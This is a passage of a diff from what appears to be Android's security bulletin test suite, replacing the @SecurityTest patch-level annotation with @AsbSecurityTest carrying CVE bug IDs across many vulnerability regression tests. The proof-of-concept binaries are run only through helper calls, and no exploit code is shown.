 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,8 +30,8 @@
      * b/64710201
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
-    @SecurityTest(minPatchLevel = "2018-01")
     @Test
+    @AsbSecurityTest(cveBugId = 64710201)
     public void testPocCVE_2017_13194() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 6f1c03f..31da488 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,8 +30,8 @@
      * b/112161557
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2018-12")
     @Test
+    @AsbSecurityTest(cveBugId = 112161557)
     public void testPocCVE_2018_9558() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
index ad88bb7..ceeb117 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/111660010
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 111660010)
     public void testPocCVE_2018_9561() throws Exception {
         pocPusher.only64();
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9561", null, getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
index 8f8b53d..09d391e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/114237888
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 114237888)
     public void testPocCVE_2018_9563() throws Exception {
         pocPusher.only64();
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9563", null, getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
index 5d68ce6..ab18f52 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -29,8 +29,8 @@
      * b/114047681
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-01")
     @Test
+    @AsbSecurityTest(cveBugId = 114047681)
     public void testPocCVE_2018_9584() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
index f5d19e4..4f3a3bf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -29,8 +29,8 @@
      * b/117554809
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-01")
     @Test
+    @AsbSecurityTest(cveBugId = 117554809)
     public void testPocCVE_2018_9585() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
index 718878c..826db69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,8 +28,8 @@
      *  b/120789744
      *  Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 120789744)
     public void testPocCVE_2019_2007() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2007", null, getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
index f92c876..373703e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,8 +29,8 @@
      * b/120084106
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 120084106)
     public void testPocCVE_2019_2011() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2011", null, getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
index d2f60c7..0ac72b2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -29,8 +29,8 @@
      * b/120497583
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 120497583)
     public void testPocCVE_2019_2013() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index c70f560..afc7a2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -29,8 +29,8 @@
      * b/120499324
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 120499324)
     public void testPocCVE_2019_2014() throws Exception {
         pocPusher.only64();
         String binaryName = "CVE-2019-2014";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
index cd61170..1c5a180 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/115635871
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 115635871)
     public void testPocCVE_2019_2019() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
index ca4c009..8d0d4d6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/120428041
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 120428041)
     public void testPocCVE_2019_2021() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
index 673c215..057e937 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/120506143
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 120506143)
     public void testPocCVE_2019_2022() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
index 0ac90e4..8757455 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/122320256
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-04")
     @Test
+    @AsbSecurityTest(cveBugId = 122320256)
     public void testPocCVE_2019_2035() throws Exception {
         pocPusher.only64();
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2035", null, getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
index 832bfdc..4fe0164 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/121259048
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-04")
     @Test
+    @AsbSecurityTest(cveBugId = 121259048)
     public void testPocCVE_2019_2038() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
index 2fc1745..6390340 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/121260197
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-04")
     @Test
+    @AsbSecurityTest(cveBugId = 121260197)
     public void testPocCVE_2019_2039() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
index 2619ed9..6c6d239 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,8 +28,8 @@
      * b/122316913
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-04")
     @Test
+    @AsbSecurityTest(cveBugId = 122316913)
     public void testPocCVE_2019_2040() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
index 6072d12..e36c46f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,8 +28,8 @@
      * b/123701862
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-05")
     @Test
+    @AsbSecurityTest(cveBugId = 123701862)
     public void testPocCVE_2019_2044() throws Exception {
         pocPusher.only32();
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2044", null, getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
index e20bb5c..16487a3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -29,8 +29,8 @@
      * b/123583388
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      **/
-    @SecurityTest(minPatchLevel = "2019-06")
     @Test
+    @AsbSecurityTest(cveBugId = 123583388)
     public void testPocCVE_2019_2099() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
index 38c8be0..1f3552c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -29,8 +29,8 @@
      * b/129768470
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2019-09")
     @Test
+    @AsbSecurityTest(cveBugId = 129768470)
     public void testPocCVE_2019_2115() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2115", null, getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
index 6833243..fe06a73 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -18,7 +18,7 @@
 
 import com.android.tradefed.device.ITestDevice;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,8 +30,8 @@
      * b/125900276
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-08")
     @Test
+    @AsbSecurityTest(cveBugId = 125900276)
     public void testPocCVE_2019_2135() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
index e4b41cc..91b2000 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,8 +29,8 @@
      * b/132650049
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-08")
     @Test
+    @AsbSecurityTest(cveBugId = 132650049)
     public void testPocCVE_2019_2136() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2136", null, getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
index 20396ac..15fab83 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/139188579
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-11")
     @Test
+    @AsbSecurityTest(cveBugId = 139188579)
     public void testPocCVE_2019_2206() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
index 6f4340c..7ce43c7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/124524315
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-11")
     @Test
+    @AsbSecurityTest(cveBugId = 124524315)
     public void testPocCVE_2019_2207() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
index ad9e06f..dbd7cc8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,8 +29,8 @@
      * b/120426166
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2019-09")
     @Test
+    @AsbSecurityTest(cveBugId = 120426166)
     public void testPocCVE_2019_9247() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9247", null, getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
index efd1e54..58a2449 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -29,8 +29,8 @@
      * b/139738828
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2020-01")
     @Test
+    @AsbSecurityTest(cveBugId = 139738828)
     public void testPocCVE_2020_0006() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
index 14001c8..1207d1a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -35,8 +35,8 @@
     /**
      * b/139945049
      */
-    @SecurityTest(minPatchLevel = "2020-02")
     @Test
+    @AsbSecurityTest(cveBugId = 139945049)
     public void testPocCVE_2020_0018() throws Exception {
         ITestDevice device = getDevice();
         String debuggable = device.getProperty("ro.debuggable").trim();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
index e624134..3a87304 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.device.ITestDevice;
@@ -29,8 +29,8 @@
      * b/143106535
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2020-03")
     @Test
+    @AsbSecurityTest(cveBugId = 143106535)
     public void testPocCVE_2020_0037() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
index 5731c12..c197972 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.device.ITestDevice;
@@ -29,8 +29,8 @@
      * b/143109193
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2020-03")
     @Test
+    @AsbSecurityTest(cveBugId = 143109193)
     public void testPocCVE_2020_0038() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
index 7d5ae37..76ce470 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.device.ITestDevice;
@@ -29,8 +29,8 @@
      * b/143155861
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2020-03")
     @Test
+    @AsbSecurityTest(cveBugId = 143155861)
     public void testPocCVE_2020_0039() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index 4f355d3..6133a87 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/147310271
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2020-04")
     @Test
+    @AsbSecurityTest(cveBugId = 147310271)
     public void testPocCVE_2020_0072() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 79826e7..9573b39 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -19,7 +19,7 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.compatibility.common.util.CrashUtils;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,8 +31,8 @@
      * b/147309942
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2020-04")
     @Test
+    @AsbSecurityTest(cveBugId = 147309942)
     public void testPocCVE_2020_0073() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
